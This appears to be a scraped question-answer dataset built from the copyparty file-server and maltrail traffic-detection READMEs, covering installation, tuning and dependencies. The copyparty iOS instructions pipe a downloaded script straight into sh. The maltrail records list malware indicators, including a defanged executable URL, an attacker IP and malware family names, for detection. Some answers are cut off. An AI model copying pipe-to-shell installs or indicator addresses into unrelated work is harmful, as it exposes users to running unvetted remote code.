{"id": "gh_d54fbe82cfc7", "question": "How to: android app", "question_body": "About 9001/copyparty", "answer": "upload to copyparty with one tap\n''\n''\nthe app is **NOT** the full copyparty server! just a basic upload client, nothing fancy yet\n\nif you want to run the copyparty server on your android device, see [install on android](#install-on-android)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780816"}
{"id": "gh_3d6fbc74b13a", "question": "How to: iOS shortcuts", "question_body": "About 9001/copyparty", "answer": "there is no iPhone app, but  the following shortcuts are almost as good:\n\n* [upload to copyparty](https://www.icloud.com/shortcuts/41e98dd985cb4d3bb433222bc1e9e770) ([offline](https://github.com/9001/copyparty/raw/hovudstraum/contrib/ios/upload-to-copyparty.shortcut)) ([png](https://user-images.githubusercontent.com/241032/226118053-78623554-b0ed-482e-98e4-6d57ada58ea4.png)) based on the [original](https://www.icloud.com/shortcuts/ab415d5b4de3467b9ce6f151b439a5d7) by [Daedren](https://github.com/Daedren) (thx!)\n  * can strip exif, upload files, pics, vids, links, clipboard\n  * can download links and rehost the target file on copyparty (see first comment inside the shortcut)\n  * pics become lowres if you share from gallery to shortcut, so better to launch the shortcut and pick stuff from there\n\nif you want to run the copyparty server on your iPhone or iPad, see [install on iOS](#install-on-iOS)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780821"}
{"id": "gh_ce73bf414788", "question": "How to: performance", "question_body": "About 9001/copyparty", "answer": "defaults are usually fine - expect `8 GiB/s` download, `1 GiB/s` upload\n\nbelow are some tweaks roughly ordered by usefulness:\n\n* disabling HTTP/2 and HTTP/3 can make uploads 5x faster, depending on server/client software\n* `-q` disables logging and can help a bunch, even when combined with `-lo` to redirect logs to file\n* `--hist` pointing to a fast location (ssd) will make directory listings and searches faster when `-e2d` or `-e2t` is set\n  * and also makes thumbnails load faster, regardless of e2d/e2t\n* `--dedup` enables deduplication and thus avoids writing to the HDD if someone uploads a dupe\n* `--safe-dedup 1` makes deduplication much faster during upload by skipping verification of file contents; safe if there is no other software editing/moving the files in the volumes\n* `--no-dirsz` shows the size of folder inodes instead of the total size of the contents, giving about 30% faster folder listings\n* `--no-hash .` when indexing a network-disk if you don't care about the actual filehashes and only want the names/tags searchable\n* if your volumes are on a network-disk such as NFS / SMB / s3, specifying larger values for `--iobuf` and/or `--s-rd-sz` and/or `--s-wr-sz` may help; try setting all of them to `524288` or `1048576` or `4194304`\n* `--no-htp --hash-mt=0 --mtag-mt=1 --th-mt=1` minimizes the number of threads; can help in some eccentric environments (like the vscode debugger)\n* when running on AlpineLinux or other musl-based distro, try mimalloc for higher performance (and twice as much RAM usage); `apk add mimalloc2` and run copyparty with env-var `LD_PRELOAD=/usr/lib/libmimalloc-secure.so.2`\n  * note that mimalloc requires special care when combined with prisonparty and/or bubbleparty/bubblewrap; you must give it access to `/proc` and `/sys` otherwise you'll encounter issues with FFmpeg (audio transcoding, thumbnails)\n* `-j0` (usually *not* recommended) enables multiprocessing (actual multithreading), can reduce latency to `20+80/numCores` percent and generally improve performance in cpu-intensive workloads, for example:\n  * lots of connections (many users or heavy clients)\n  * simultaneous downloads and uploads saturating a 20gbps connection\n  * if `-e2d` is enabled, `-j2` gives 4x performance for directory listings; `-j4` gives 16x\n  \n  ...however it will probably *reduce* performance in most cases, since it also increases the server/filesystem/HDD load during uploads, and adds an overhead to internal communication, so keeping the default is generally best\n* using [pypy](https://www.pypy.org/) instead of [cpython](https://www.python.org/) *can* be 70% faster for some workloads, but slower for many others\n  * and pypy can sometimes crash on startup with `-j0` (TODO make issue)\n\n* if you are running the copyparty server **on Windows or Macos:**\n  * `--casechk=n` makes it much faster, but also awakens [the usual surprises](https://github.com/9001/copyparty/issues/781) you expect from a case-insensitive filesystem\n    * this is the same as `casechk: n` in a config-file", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780831"}
{"id": "gh_465cd87be989", "question": "How to: client-side", "question_body": "About 9001/copyparty", "answer": "when uploading files,\n\n* when uploading from very fast storage (NVMe SSD) with chrome/firefox, enable `[wasm]` in the `[⚙️] settings` tab to more effectively use all CPU-cores for hashing\n  * don't do this on Safari (runs faster without)\n  * don't do this on older browsers; likely to provoke browser-bugs (browser eats all RAM and crashes)\n  * can be made default-enabled serverside with `--nosubtle 137` (chrome v137+) or `--nosubtle 2` (chrome+firefox)\n\n* chrome is recommended (unfortunately), at least compared to firefox:\n  * up to 90% faster when hashing, especially on SSDs\n  * up to 40% faster when uploading over extremely fast internets\n  * but [u2c.py](https://github.com/9001/copyparty/blob/hovudstraum/bin/u2c.py) can be 40% faster than chrome again\n\n* if you're cpu-bottlenecked, or the browser is maxing a cpu core:\n  * up to 30% faster uploads if you hide the upload status list by switching away from the `[🚀]` up2k ui-tab (or closing it)\n    * optionally you can switch to the lightweight potato ui by clicking the `[🥔]`\n    * switching to another browser-tab also works, the favicon will update every 10 seconds in that case\n  * unlikely to be a problem, but can happen when uploading many small files, or your internet is too fast, or PC too slow", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780841"}
{"id": "gh_0bdad5879b53", "question": "How to: password hashing", "question_body": "About 9001/copyparty", "answer": "you can hash passwords  before putting them into config files / providing them as arguments; see [`--help-pwhash`](https://copyparty.eu/cli/#pwhash-help-page) for all the details\n\n`--ah-alg argon2` enables it, and if you have any plaintext passwords then it'll print the hashed versions on startup so you can replace them\n\noptionally also specify `--ah-cli` to enter an interactive mode where it will hash passwords without ever writing the plaintext ones to disk\n\nthe default configs take about 0.4 sec and 256 MiB RAM to process a new password on a decent laptop\n\nwhen generating hashes using `--ah-cli` for docker or systemd services, make sure it is using the same `--ah-salt` by:\n* inspecting the generated salt using `--show-ah-salt` in copyparty service configuration\n* setting the same `--ah-salt` in both environments\n\n> ⚠️ if you have enabled `--usernames` then provide the password as `username:password` when hashing it, for example `ed:hunter2`", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780855"}
{"id": "gh_ee8f60175ba1", "question": "How to: firefox wsod", "question_body": "About 9001/copyparty", "answer": "firefox 87 can crash during uploads  -- the entire browser goes, including all other browser tabs, everything turns white\n\nhowever you can hit `F12` in the up2k tab and use the devtools to see how far you got in the uploads:\n\n* get a complete list of all uploads, organized by status (ok / no-good / busy / queued):  \n  `var tabs = { ok:[], ng:[], bz:[], q:[] }; for (var a of up2k.ui.tab) tabs[a.in].push(a); tabs`\n\n* list of filenames which failed:  \n  `​var ng = []; for (var a of up2k.ui.tab) if (a.in != 'ok') ng.push(a.hn.split('\n')[0]); ng`\n\n* send the list of filenames to copyparty for safekeeping:  \n  `await fetch('/inc', {method:'PUT', body:JSON.stringify(ng,null,1)})`", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780864"}
{"id": "gh_40fa6bfceb16", "question": "How to: dependencies", "question_body": "About 9001/copyparty", "answer": "mandatory deps:\n* `jinja2` (is built into the SFX)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780869"}
{"id": "gh_c8379c57d6a3", "question": "How to: optional dependencies", "question_body": "About 9001/copyparty", "answer": "enable bonus features  by installing these python-packages from pypi or so:\n\nenable [hashed passwords](#password-hashing) in config: `argon2-cffi`\n\nenable [ftp-server](#ftp-server):\n* for just plaintext FTP, `pyftpdlib` (is built into the SFX)\n* with TLS encryption, `pyftpdlib pyopenssl`\n\nenable [sftp-server](#sftp-server): `paramiko`\n\nenable [music tags](#metadata-from-audio-files):\n* either `mutagen` (fast, pure-python, skips a few tags, makes copyparty GPL? idk)\n* or `ffprobe` (20x slower, more accurate, possibly dangerous depending on your distro and users)\n\nenable [thumbnails](#thumbnails) of...\n* **images:** `Pillow` and/or `pyvips` and/or `ffmpeg` (requires py2.7 or py3.5+)\n* **videos/audio:** `ffmpeg` and `ffprobe` somewhere in `$PATH`\n* **HEIF pictures:** `pyvips` or `ffmpeg` or `pillow-heif`\n* **AVIF pictures:** `pyvips` or `ffmpeg` or `pillow-avif-plugin` or pillow v11.3+\n* **JPEG XL pictures:** `pyvips` or `ffmpeg`\n* **RAW images:** `rawpy`, plus one of `pyvips` or `Pillow` (for some formats)\n\nenable sending [zeromq messages](#zeromq) from event-hooks: `pyzmq`\n\nenable [smb](#smb-server) support (**not** recommended): `impacket==0.13.0`\n\n`pyvips` gives higher quality thumbnails than `Pillow` and is 320% faster, using 270% more ram\n* to install `pyvips` on Linux: `sudo apt install libvips42 && python3 -m pip install --user -U pyvips`\n* to install `pyvips` on windows: `pip install --user -U \"pyvips[binary]\"`\n\nto install FFmpeg on Windows, grab [a recent build](https://www.gyan.dev/ffmpeg/builds/ffmpeg-git-full.7z) -- you need `ffmpeg.exe` and `ffprobe.exe` from inside the `bin` folder; copy them into `C:\\Windows\\System32` or any other folder that's in your `%PATH%`", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780877"}
{"id": "gh_1e29dd60dcbd", "question": "How to: dependency chickenbits", "question_body": "About 9001/copyparty", "answer": "prevent loading an optional dependency  , for example if:\n\n* you have an incompatible version installed and it causes problems\n* you just don't want copyparty to use it, maybe to save ram\n\nset any of the following environment variables to disable its associated optional feature,\n\n| env-var              | what it does |\n| -------------------- | ------------ |\n| `PRTY_NO_ARGON2`     | disable argon2-cffi password hashing |\n| `PRTY_NO_CFSSL`      | never attempt to generate self-signed certificates using [cfssl](https://github.com/cloudflare/cfssl) |\n| `PRTY_NO_FFMPEG`     | **audio transcoding** goes byebye, **thumbnailing** must be handled by Pillow/libvips |\n| `PRTY_NO_FFPROBE`    | **audio transcoding** goes byebye, **thumbnailing** must be handled by Pillow/libvips, **metadata-scanning** must be handled by mutagen |\n| `PRTY_NO_MAGIC`      | do not use [magic](https://pypi.org/project/python-magic/) for filetype detection |\n| `PRTY_NO_MUTAGEN`    | do not use [mutagen](https://pypi.org/project/mutagen/) for reading metadata from media files; will fallback to ffprobe |\n| `PRTY_NO_PARAMIKO`   | disable sftp server ([paramiko](https://www.paramiko.org/)-based) |\n| `PRTY_NO_PARTFTPY`   | disable tftp server ([partftpy](https://github.com/9001/partftpy)-based) |\n| `PRTY_NO_PIL`        | disable all [Pillow](https://pypi.org/project/pillow/)-based thumbnail support; will fallback to libvips or ffmpeg |\n| `PRTY_NO_PILF`       | disable Pillow `ImageFont` text rendering, used for folder thumbnails |\n| `PRTY_NO_PIL_AVIF`   | disable Pillow avif support (internal and/or [plugin](https://pypi.org/project/pillow-avif-plugin/)) |\n| `PRTY_NO_PIL_HEIF`   | disable 3rd-party Pillow plugin for [HEIF support](https://pypi.org/project/pillow-heif/) |\n| `PRTY_NO_PIL_WEBP`   | disable use of native webp support in Pillow |\n| `PRTY_NO_PSUTIL`     | do not use [psutil](https://pypi.org/project/psutil/) for reaping stuck hooks and plugins on Windows |\n| `PRTY_NO_PYFTPD`     | disable ftp(s) server ([pyftpdlib](https://pypi.org/project/pyftpdlib/)-based) |\n| `PRTY_NO_RAW`        | disable all [rawpy](https://pypi.org/project/rawpy/)-based thumbnail support for RAW images |\n| `PRTY_NO_VIPS`       | disable all [libvips](https://pypi.org/project/pyvips/)-based thumbnail support; will fallback to Pillow or ffmpeg |\n\nexample: `PRTY_NO_PIL=1 python3 copyparty-sfx.py`\n\n* `PRTY_NO_PIL` saves ram\n* `PRTY_NO_VIPS` saves ram and startup time\n* python2.7 on windows: `PRTY_NO_FFMPEG` + `PRTY_NO_FFPROBE` saves startup time", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780886"}
{"id": "gh_ee5771bec1a0", "question": "How to: dependency unvendoring", "question_body": "About 9001/copyparty", "answer": "force use of system modules  instead of the vendored versions:\n\n| env-var              | what it does |\n| -------------------- | ------------ |\n| `PRTY_SYS_ALL`       | all of the below |\n| `PRTY_SYS_DNSLIB`    | replace [stolen/dnslib](./copyparty/stolen/dnslib) with [upstream](https://pypi.org/project/dnslib/) |\n| `PRTY_SYS_IFADDR`    | replace [stolen/ifaddr](./copyparty/stolen/ifaddr) with [upstream](https://pypi.org/project/ifaddr/) |\n| `PRTY_SYS_QRCG`      | replace [stolen/qrcodegen.py](./copyparty/stolen/qrcodegen.py) with [upstream](https://github.com/nayuki/QR-Code-generator/blob/master/python/qrcodegen.py) |\n\nto debug, run copyparty with `PRTY_MODSPEC=1` to see where it's getting each module from", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780892"}
{"id": "gh_ff447fe1885f", "question": "How to: optional gpl stuff", "question_body": "About 9001/copyparty", "answer": "some bundled tools have copyleft dependencies, see [./bin/#mtag](bin/#mtag)\n\nthese are standalone programs and will never be imported / evaluated by copyparty, and must be enabled through `-mtp` configs", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780896"}
{"id": "gh_bfb098b217de", "question": "How to: copyparty.exe", "question_body": "About 9001/copyparty", "answer": "download [copyparty.exe](https://github.com/9001/copyparty/releases/latest/download/copyparty.exe) (win8+) or [copyparty32.exe](https://github.com/9001/copyparty/releases/latest/download/copyparty32.exe) (win7+)\n\n![copyparty-exe-fs8](https://user-images.githubusercontent.com/241032/221445946-1e328e56-8c5b-44a9-8b9f-dee84d942535.png)\n\ncan be convenient on machines where installing python is problematic, however is **not recommended** -- if possible, please use **[copyparty-sfx.py](https://github.com/9001/copyparty/releases/latest/download/copyparty-sfx.py)** instead\n\n* [copyparty.exe](https://github.com/9001/copyparty/releases/latest/download/copyparty.exe) runs on win8 or newer, was compiled on win10, does thumbnails + media tags, and is *currently* safe to use, but any future python/expat/pillow CVEs can only be remedied by downloading a newer version of the exe\n\n  * on win8 it needs [vc redist 2015](https://www.microsoft.com/en-us/download/details.aspx?id=48145), on win10 it just works\n  * some antivirus may freak out (false-positive), possibly [Avast, AVG, and McAfee](https://www.virustotal.com/gui/file/52391a1e9842cf70ad243ef83844d46d29c0044d101ee0138fcdd3c8de2237d6/detection)\n\n* dangerous: [copyparty32.exe](https://github.com/9001/copyparty/releases/latest/download/copyparty32.exe) is compatible with [windows7](https://user-images.githubusercontent.com/241032/221445944-ae85d1f4-d351-4837-b130-82cab57d6cca.png), which means it uses an ancient copy of python (3.7.9) which cannot be upgraded and should never be exposed to the internet (LAN is fine)\n\n* dangerous and deprecated: [copyparty-winpe64.exe](https://github.com/9001/copyparty/releases/download/v1.8.7/copyparty-winpe64.exe) lets you [run copyparty in WinPE](https://user-images.githubusercontent.com/241032/205454984-e6b550df-3c49-486d-9267-1614078dd0dd.png) and is otherwise completely useless\n\nmeanwhile [copyparty-sfx.py](https://github.com/9001/copyparty/releases/latest/download/copyparty-sfx.py) instead relies on your system python which gives better performance and will stay safe as long as you keep your python install up-to-date\n\nthen again, if you are already into downloading shady binaries from the internet, you may also want my [minimal builds](./scripts/pyinstaller#ffmpeg) of [ffmpeg](https://ocv.me/stuff/bin/ffmpeg.exe) and [ffprobe](https://ocv.me/stuff/bin/ffprobe.exe) which enables copyparty to extract multimedia-info, do audio-transcoding, and thumbnails/spectrograms/waveforms, however it's much better to instead grab a [recent official build](https://www.gyan.dev/ffmpeg/builds/ffmpeg-git-full.7z) every once ina while if you can afford the size", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780905"}
{"id": "gh_74e41c1a7431", "question": "How to: install on android", "question_body": "About 9001/copyparty", "answer": "install [Termux](https://termux.com/) + its companion app `Termux:API` (see [ocv.me/termux](https://ocv.me/termux/)) and then copy-paste this into Termux (long-tap) all at once:\n```sh\nyes | pkg upgrade && termux-setup-storage && yes | pkg install python termux-api && python -m ensurepip && python -m pip install --user -U copyparty && { grep -qE 'PATH=.*\\.local/bin' ~/.bashrc 2>/dev/null || { echo 'PATH=\"$HOME/.local/bin:$PATH\"' >> ~/.bashrc && . ~/.bashrc; }; }\necho $?\n```\n\nafter the initial setup, you can launch copyparty at any time by running `copyparty` anywhere in Termux -- and if you run it with `--qr` you'll get a [neat qr-code](#qr-code) pointing to your external ip\n\nif you want thumbnails (photos+videos) and you're okay with spending another 132 MiB of storage, `pkg install ffmpeg && python3 -m pip install --user -U pillow`\n\n* or if you want to use `vips` for photo-thumbs instead, `pkg install libvips && python -m pip install --user -U wheel && python -m pip install --user -U pyvips && (cd /data/data/com.termux/files/usr/lib/; ln -s libgobject-2.0.so{,.0}; ln -s libvips.so{,.42})`\n\nif you are suddenly unable to access storage (permission issues), try forcequitting termux, revoke all of its permissions in android settings, and run the command `termux-setup-storage`", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780911"}
{"id": "gh_e97c3b1772ed", "question": "How to: install on iOS", "question_body": "About 9001/copyparty", "answer": "first install one of the following:\n* [a-Shell mini](https://apps.apple.com/us/app/a-shell-mini/id1543537943) gives you the essential features\n* [a-Shell](https://apps.apple.com/us/app/a-shell/id1473805438) also enables audio transcoding and better thubmnails\n\nand then copypaste the following command into `a-Shell`:\n\n```sh\ncurl -L https://github.com/9001/copyparty/raw/refs/heads/hovudstraum/contrib/setup-ashell.sh | sh\n```\n\n> if you want the latest copyparty beta, then do this instead:  \n> `curl -L https://copyparty.eu/beta/setup-ashell.sh | sh`\n\nwhat this does:\n* creates a basic [config file](#accounts-and-volumes) named `cpc` which you can edit with `vim cpc`\n* adds the command `cpp` to launch copyparty with that config file\n\nknown issues:\n* cannot run in the background; it needs to be on-screen to accept connections / uploads / downloads\n* the best way to exit copyparty is to swipe away the app", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780917"}
{"id": "gh_fd4f4525c759", "question": "How to: reporting bugs", "question_body": "About 9001/copyparty", "answer": "ideas for context to include, and where to submit them\n\nplease get in touch using any of the following URLs:\n* https://github.com/9001/copyparty/ **(primary)**\n* https://gitlab.com/9001/copyparty/ *(mirror)*\n* https://codeberg.org/9001/copyparty *(mirror)*\n\nin general, commandline arguments (and config file if any)\n\nif something broke during an upload (replacing FILENAME with a part of the filename that broke):\n```\njournalctl -aS '48 hour ago' -u copyparty | grep -C10 FILENAME | tee bug.log\n```\n\nif there's a wall of base64 in the log (thread stacks) then please include that, especially if you run into something freezing up or getting stuck, for example `OperationalError('database is locked')` -- alternatively you can visit `/?stack` to see the stacks live, so http://127.0.0.1:3923/?stack for example", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780922"}
{"id": "gh_b4c0bcfa6fad", "question": "How to: Introduction", "question_body": "About stamparm/maltrail", "answer": "**Maltrail** is a malicious traffic detection system, utilizing publicly available (black)lists containing malicious and/or generally suspicious trails, along with static trails compiled from various AV reports and custom user defined lists, where a trail can be anything from a domain name (e.g. `zvpprsensinaix.com` for [Banjori](https://bin.re/blog/the-dga-of-banjori/) malware), URL (e.g. `hXXp://109.162.38.120/harsh02.exe` for known malicious [executable](https://www.virustotal.com/en/file/61f56f71b0b04b36d3ef0c14bbbc0df431290d93592d5dd6e3fffcc583ec1e12/analysis/)), IP address (e.g. `185.130.5.231` for known attacker) or HTTP User-Agent header value (e.g. `sqlmap` for automatic SQL injection and database takeover tool). Also, it uses (optional) advanced heuristic mechanisms that can help in the discovery of unknown threats (e.g. new malware).\n\n![Reporting tool](https://i.imgur.com/Sd9eqoa.png)\n\nThe following (black)lists (i.e. feeds) are being utilized:\n\n```\n360bigviktor, 360chinad, 360conficker, 360cryptolocker, 360gameover, \n360locky, 360necurs, 360suppobox, 360tofsee, 360virut, abuseipdb, alienvault, \natmos, badips, bitcoinnodes, blackbook, blocklist, botscout, \nbruteforceblocker, ciarmy, cobaltstrike, cruzit, cybercrimetracker, \ndataplane, dshieldip, emergingthreatsbot, emergingthreatscip, \nemergingthreatsdns, feodotrackerip, gpfcomics, greensnow, ipnoise,\nkriskinteldns, kriskintelip, malc0de, malwaredomainlistdns, malwaredomains,\nmaxmind, minerchk, myip, openphish, palevotracker, policeman, pony,\nproxylists, proxyrss, proxyspy, ransomwaretrackerdns, ransomwaretrackerip, \nransomwaretrackerurl, riproxies, rutgers, sblam, socksproxy, sslbl, \nsslproxies, talosintelligence, torproject, trickbot, turris, urlhaus, \nviriback, vxvault, zeustrackermonitor, zeustrackerurl, etc.\n```\n\nAs for static entries, the trails for the following malicious entities (e.g. malware C&Cs or sinkholes) have been manually included (from various AV reports and personal research):\n\n```\n1ms0rry, 404, 9002, aboc, absent, ab, acbackdoor, acridrain, activeagent, \nadrozek, advisorbot, adwind, adylkuzz, adzok, afrodita, agaadex, agenttesla, \naldibot, alina, allakore, almalocker, almashreq, alpha, alureon, amadey, \namavaldo, amend_miner, ammyyrat, android_acecard, android_actionspy, \nandroid_adrd, android_ahmythrat, android_alienspy, android_andichap, \nandroid_androrat, android_anubis, android_arspam, android_asacub, \nandroid_backflash, android_bankbot, android_bankun, android_basbanke, \nandroid_basebridge, android_besyria, android_blackrock, android_boxer, \nandroid_buhsam, android_busygasper, android_calibar, android_callerspy, \nandroid_camscanner, android_cerberus, android_chuli, android_circle, \nandroid_claco, android_clickfraud, android_cometbot, android_cookiethief, \nandroid_coolreaper, android_copycat, android_counterclank, android_cyberwurx, \nandroid_darkshades, android_dendoroid, android_dougalek, android_droidjack, \nandroid_droidkungfu, android_enesoluty, android_eventbot, android_ewalls, \nandroid_ewind, android_exodus, android_exprespam, android_fakeapp, \nandroid_fakebanco, android_fakedown, android_fakeinst, android_fakelog, \nandroid_fakemart, android_fakemrat, android_fakeneflic, android_fakesecsuit, \nandroid_fanta, android_feabme, android_flexispy, android_fobus, \nandroid_fraudbot, android_friend, android_frogonal, android_funkybot, \nandroid_gabas, android_geinimi, android_generic, android_geost, \nandroid_ghostpush, android_ginmaster, android_ginp, android_gmaster, \nandroid_gnews, android_godwon, android_golddream, android_goldencup, \nandroid_golfspy, android_gonesixty, android_goontact, android_gplayed, \nandroid_gustuff, android_gypte, android_henbox, android_hiddad, \nandroid_hydra, android_ibanking, android_joker, android_jsmshider, \nandroid_kbuster, android_kemoge, android_ligarat, android_lockdroid, \nandroid_lotoor, android_lovetrap, android_malbus, android_mandrake, \nandroid_maxit, android_mobok, android_mobstspy, android_monokle, \nandroid_notcompatible, android_oneclickfraud, android_opfake, \nandroid_ozotshielder, android_parcel, android_phonespy, android_pikspam, \nandroid_pjapps, android_qdplugin, android_raddex, android_ransomware, \nandroid_redalert, android_regon, android_remotecode, android_repane, \nandroid_riltok, android_roamingmantis, android_roidsec, android_rotexy, \nandroid_samsapo, android_sandrorat, android_selfmite, android_shadowvoice, \nandroid_shopper, android_simbad, android_simplocker, android_skullkey, \nandroid_sndapps, android_spynote, android_spytekcell, android_stels, \nandroid_svpeng, android_swanalitics, android_teelog, android_telerat, \nandroid_tetus, android_thiefbot, android_tonclank, android_torec, \nandroid_triada, android_uracto, android_usbcleaver, android_viceleaker, \nandroid_vmvol, android_walkinwat, android_windseeker, android_wirex, \nandroid_wolfrat, android_xavirad, android_xbot007, android_xerxes, \nandroid_xhelper, android_xploitspy, android_z3core, android_zertsecurity, \nandroid_ztorg,", "tags": ["stamparm"], "source": "github_gists", "category": "stamparm", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 8142, "answer_score": 10, "has_code": true, "url": "https://github.com/stamparm/maltrail", "collected_at": "2026-01-17T12:55:16.829491"}
{"id": "gh_f0e9f2a25202", "question": "How to: Architecture", "question_body": "About stamparm/maltrail", "answer": "Maltrail is based on the **Traffic** -> **Sensor** <-> **Server** <-> **Client** architecture. **Sensor**(s) is a standalone component running on the monitoring node (e.g. Linux platform connected passively to the SPAN/mirroring port or transparently inline on a Linux bridge) or at the standalone machine (e.g. Honeypot) where it \"monitors\" the passing **Traffic** for blacklisted items/trails (i.e. domain names, URLs and/or IPs). In case of a positive match, it sends the event details to the (central) **Server** where they are being stored inside the appropriate logging directory (i.e. `LOG_DIR` described in the *Configuration* section). If **Sensor** is being run on the same machine as **Server** (default configuration), logs are stored directly into the local logging directory. Otherwise, they are being sent via UDP messages to the remote server (i.e. `LOG_SERVER` described in the *Configuration* section).\n\n![Architecture diagram](https://i.imgur.com/2IP9Mh2.png)\n\n**Server**'s primary role is to store the event details and provide back-end support for the reporting web application. In default configuration, server and sensor will run on the same machine. So, to prevent potential disruptions in sensor activities, the front-end reporting part is based on the [\"Fat client\"](https://en.wikipedia.org/wiki/Fat_client) architecture (i.e. all data post-processing is being done inside the client's web browser instance). Events (i.e. log entries) for the chosen (24h) period are transferred to the **Client**, where the reporting web application is solely responsible for the presentation part. Data is sent toward the client in compressed chunks, where they are processed sequentially. The final report is created in a highly condensed form, practically allowing presentation of virtually unlimited number of events.\n\nNote: **Server** component can be skipped altogether, and just use the standalone **Sensor**. In such case, all events would be stored in the local logging directory, while the log entries could be examined either manually or by some CSV reading application.", "tags": ["stamparm"], "source": "github_gists", "category": "stamparm", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 8142, "answer_score": 10, "has_code": false, "url": "https://github.com/stamparm/maltrail", "collected_at": "2026-01-17T12:55:16.829510"}
{"id": "gh_20895bf588e1", "question": "How to: Demo pages", "question_body": "About stamparm/maltrail", "answer": "Fully functional demo pages with collected real-life threats can be found [here](https://maltraildemo.github.io/).", "tags": ["stamparm"], "source": "github_gists", "category": "stamparm", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 8142, "answer_score": 10, "has_code": false, "url": "https://github.com/stamparm/maltrail", "collected_at": "2026-01-17T12:55:16.829517"}
{"id": "gh_fbd5140a10d8", "question": "How to: Requirements", "question_body": "About stamparm/maltrail", "answer": "To run Maltrail properly, [Python](https://www.python.org/download/) **2.6**, **2.7** or **3.x** is required on \\*nix/BSD system, together with installed [pcapy-ng](https://pypi.org/project/pcapy-ng/) package.\n\n**NOTE:** Please use ```pcapy-ng```. The older ```pcapy``` library is deprecated and causes issues in Python 3 environments. [Examples](https://github.com/stamparm/maltrail/issues?q=label%3Apcapy-ng-related+is%3Aclosed).\n\n- **Sensor** component requires at least 1GB of RAM to run in single-process mode or more if run in multiprocessing mode, depending on the value used for option `CAPTURE_BUFFER`. Additionally, **Sensor** component (in the general case) requires administrative/root privileges.\n\n- **Server** component does not have any special requirements.", "tags": ["stamparm"], "source": "github_gists", "category": "stamparm", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 8142, "answer_score": 10, "has_code": true, "url": "https://github.com/stamparm/maltrail", "collected_at": "2026-01-17T12:55:16.829523"}
{"id": "gh_0e664871a031", "question": "How to: Quick start", "question_body": "About stamparm/maltrail", "answer": "The following set of commands should get your Maltrail **Sensor** up and running (out of the box with default settings and monitoring interface \"any\"):\n\n- For **Ubuntu/Debian**\n\n```sh\nsudo apt-get install git python3 python3-dev python3-pip python-is-python3 libpcap-dev build-essential procps schedtool\nsudo pip3 install pcapy-ng\ngit clone --depth 1 https://github.com/stamparm/maltrail.git\ncd maltrail\nsudo python3 sensor.py\n```\n\n- For **SUSE/openSUSE**\n\n```sh\nsudo zypper install gcc gcc-c++ git libpcap-devel python3-devel python3-pip procps schedtool\nsudo pip3 install pcapy-ng\ngit clone --depth 1 https://github.com/stamparm/maltrail.git\ncd maltrail\nsudo python3 sensor.py\n```\n\nDon't forget to put interfaces in promiscuous mode as needed: \n\n```sh\nfor dev in $(ifconfig | grep mtu | grep -Eo '^\\w+'); do ifconfig $dev promisc; done\n```\n\n![Sensor](https://i.imgur.com/E9tt2ek.png)\n\nTo start the (optional) **Server** on same machine, open a new terminal and execute the following:\n\n```sh\n[[ -d maltrail ]] || git clone --depth 1 https://github.com/stamparm/maltrail.git\ncd maltrail\npython server.py\n```\n\n![Server](https://i.imgur.com/loGW6GA.png)\n\n- For **Docker**\n\nCurrently only the server is available as a container 